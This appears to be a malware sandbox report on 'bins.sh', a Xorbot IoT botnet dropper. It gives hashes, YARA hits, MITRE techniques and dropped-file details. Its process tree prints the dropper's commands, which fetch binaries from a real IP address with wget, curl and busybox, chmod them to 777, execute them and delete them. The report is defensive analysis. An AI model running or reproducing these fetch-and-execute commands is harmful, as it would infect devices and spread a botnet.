xorbot | 315887d1c87787f09166251b18b739fd4f8cc3a21cb70bbebe57cd830fea84fc

Analysis

max time kernel
150s
max time network
145s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
17/02/2025, 18:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 10KB
Sample250217-w67fjs1pct
SHA256 315887d1c87787f09166251b18b739fd4f8cc3a21cb70bbebe57cd830fea84fc
MD5 ab48ed757fd9905233adf9eab256e42d
SHA1 5701b0efb8e73a4130a357e31a668efa4ac7030b
SHA512 27b05657840b7ceae07c574936f2f22199f4567941e825a1db825dc70ffc30889dc885bfe054d58eef0e2c6ac8cf3496c7b2ac7adc15fb95210e00c84fca9af9
SSDEEP 192:c5s4lRjrSZNUMErYsryirJhiT3gs4OjrSZNCYsryi0JhiT3z:c5s4lZMEhs4e
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xorbot botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot
behavioral4/files/fstream-3.dat	family_xorbot
behavioral4/files/fstream-7.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
742	chmod
826	chmod
734	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/fRJBnaGZfrfrIWJNm5b35T5MBxXTcsnWnY	735	bins.sh
/tmp/sPdEFoliYoxvsc8i52vTfbDmtim98J5SQv	744	bins.sh
/tmp/9hamlBao7Oi2trQZgP4ySbiojwl7gIZrkN	827	bins.sh

Reads runtime system information 4 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 11 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/fRJBnaGZfrfrIWJNm5b35T5MBxXTcsnWnY	busybox
File opened for modification	/tmp/sPdEFoliYoxvsc8i52vTfbDmtim98J5SQv	wget
File opened for modification	/tmp/sPdEFoliYoxvsc8i52vTfbDmtim98J5SQv	busybox
File opened for modification	/tmp/9hamlBao7Oi2trQZgP4ySbiojwl7gIZrkN	wget
File opened for modification	/tmp/9hamlBao7Oi2trQZgP4ySbiojwl7gIZrkN	curl
File opened for modification	/tmp/9hamlBao7Oi2trQZgP4ySbiojwl7gIZrkN	busybox
File opened for modification	/tmp/fRJBnaGZfrfrIWJNm5b35T5MBxXTcsnWnY	wget
File opened for modification	/tmp/sPdEFoliYoxvsc8i52vTfbDmtim98J5SQv	curl
File opened for modification	/tmp/3fWG0FIR1j4cUqwdfKrv4gB82PJJHkCUzm	wget
File opened for modification	/tmp/3fWG0FIR1j4cUqwdfKrv4gB82PJJHkCUzm	curl
File opened for modification	/tmp/fRJBnaGZfrfrIWJNm5b35T5MBxXTcsnWnY	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:702
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:707
- /usr/bin/wget
  wget http://37.44.238.88/bins/fRJBnaGZfrfrIWJNm5b35T5MBxXTcsnWnY
  2⤵
  - Writes file to tmp directory
  PID:711
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/fRJBnaGZfrfrIWJNm5b35T5MBxXTcsnWnY
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:731
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/fRJBnaGZfrfrIWJNm5b35T5MBxXTcsnWnY
  2⤵
  - Writes file to tmp directory
  PID:733
- /bin/chmod
  chmod 777 fRJBnaGZfrfrIWJNm5b35T5MBxXTcsnWnY
  2⤵
  - File and Directory Permissions Modification
  PID:734
- /tmp/fRJBnaGZfrfrIWJNm5b35T5MBxXTcsnWnY
  ./fRJBnaGZfrfrIWJNm5b35T5MBxXTcsnWnY
  2⤵
  PID:735
- /bin/rm
  rm fRJBnaGZfrfrIWJNm5b35T5MBxXTcsnWnY
  2⤵
  PID:737
- /usr/bin/wget
  wget http://37.44.238.88/bins/sPdEFoliYoxvsc8i52vTfbDmtim98J5SQv
  2⤵
  - Writes file to tmp directory
  PID:738
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/sPdEFoliYoxvsc8i52vTfbDmtim98J5SQv
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:739
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/sPdEFoliYoxvsc8i52vTfbDmtim98J5SQv
  2⤵
  - Writes file to tmp directory
  PID:740
- /bin/chmod
  chmod 777 sPdEFoliYoxvsc8i52vTfbDmtim98J5SQv
  2⤵
  - File and Directory Permissions Modification
  PID:742
- /tmp/sPdEFoliYoxvsc8i52vTfbDmtim98J5SQv
  ./sPdEFoliYoxvsc8i52vTfbDmtim98J5SQv
  2⤵
  PID:744
- /bin/rm
  rm sPdEFoliYoxvsc8i52vTfbDmtim98J5SQv
  2⤵
  PID:746
- /usr/bin/wget
  wget http://37.44.238.88/bins/9hamlBao7Oi2trQZgP4ySbiojwl7gIZrkN
  2⤵
  - Writes file to tmp directory
  PID:747
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/9hamlBao7Oi2trQZgP4ySbiojwl7gIZrkN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:763
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/9hamlBao7Oi2trQZgP4ySbiojwl7gIZrkN
  2⤵
  - Writes file to tmp directory
  PID:821
- /bin/chmod
  chmod 777 9hamlBao7Oi2trQZgP4ySbiojwl7gIZrkN
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /tmp/9hamlBao7Oi2trQZgP4ySbiojwl7gIZrkN
  ./9hamlBao7Oi2trQZgP4ySbiojwl7gIZrkN
  2⤵
  PID:827
- /bin/rm
  rm 9hamlBao7Oi2trQZgP4ySbiojwl7gIZrkN
  2⤵
  PID:829
- /usr/bin/wget
  wget http://37.44.238.88/bins/3fWG0FIR1j4cUqwdfKrv4gB82PJJHkCUzm
  2⤵
  - Writes file to tmp directory
  PID:830
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/3fWG0FIR1j4cUqwdfKrv4gB82PJJHkCUzm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:831

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

3fWG0FIR1j4cUqwdfKrv4gB82PJJHkCUzm

Path /tmp/3fWG0FIR1j4cUqwdfKrv4gB82PJJHkCUzm
Size 122KB
SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
MD5 cd3d4b9c643e5b473fb4d88ed05f0716
SHA1 64ee7a97418583d759eaea8000890cc3bae1b5f4
SHA512 164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52
SSDEEP 3072:QON+vZgnSgtpg1sgnHgS4rpq26zEz2IyombPQbZBmf35ZYp:Q0bY3AH36y2ambPQbZBm/5ZYp
MD5 SHA1 SHA512 SSDEEP

Submit Download

3fWG0FIR1j4cUqwdfKrv4gB82PJJHkCUzm

Path /tmp/3fWG0FIR1j4cUqwdfKrv4gB82PJJHkCUzm
Size 64KB
SHA256 a0d302f2a2f3a17074a3f0a9b2056da4ceb8add1573593b9ed814eb1401ea51a
MD5 e7618e2aefbdfefb2e1a459d520b4ada
SHA1 b3ecbabee9c573043e07d12a841aa95a964b3984
SHA512 b8685441178fc6dbc871e2efa3827998f0a80a4873f6c6bdfa3aed0a904dee857319c9f878180fe0d49493463ec6c62facd9c86a276b29305b186e37bfa0fe29
SSDEEP 1536:h+2Y6N+vZgkMSgtpg1sgnHgSW7xIdM1ztQ8Dq52:QON+vZgnSgtpg1sgnHgS4rpq262
MD5 SHA1 SHA512 SSDEEP

Submit Download

9hamlBao7Oi2trQZgP4ySbiojwl7gIZrkN

Path /tmp/9hamlBao7Oi2trQZgP4ySbiojwl7gIZrkN
Size 151KB
SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
MD5 3c90d5820bddcf7c5d1bd21dfa49d958
SHA1 5ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA512 54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
SSDEEP 1536:mVqSjUF+uLHLVdiLzLsLzLsL7LeLGLXL0LLLkLhqqvZjptByZEGkbU+/pWacxZkI:tr9dy1B2gSpLg70mLjXswi5itRx2p
MD5 SHA1 SHA512 SSDEEP

Submit Download

fRJBnaGZfrfrIWJNm5b35T5MBxXTcsnWnY

Path /tmp/fRJBnaGZfrfrIWJNm5b35T5MBxXTcsnWnY
Size 112KB
SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
MD5 05d7857dcead18bbd86d2935f591873c
SHA1 34d18f41ef35f93d5364ce3e24d74730a4e91985
SHA512 d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
SSDEEP 3072:o0pHqiUxCoypP1Xyukbt56UFQ71SMSmUHM5RmNtbm9c:REOtiukxc3SmUHM5Rm/bm9c
MD5 SHA1 SHA512 SSDEEP

Submit Download

sPdEFoliYoxvsc8i52vTfbDmtim98J5SQv

Path /tmp/sPdEFoliYoxvsc8i52vTfbDmtim98J5SQv
Size 119KB
SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
MD5 1b166b95f9cb4b079ef1b9ec8363ddf3
SHA1 0d8eb08add467b3b5474f9b25909297fe7c2839c
SHA512 983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925
SSDEEP 3072:lbeGHulXta3Yz+u6b/tDrHvIAJ9GjOHSHm8RiQztBJk9zEp:Re3ODtDbvIg9Gj7Hm8RiQztB+9zEp
MD5 SHA1 SHA512 SSDEEP

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads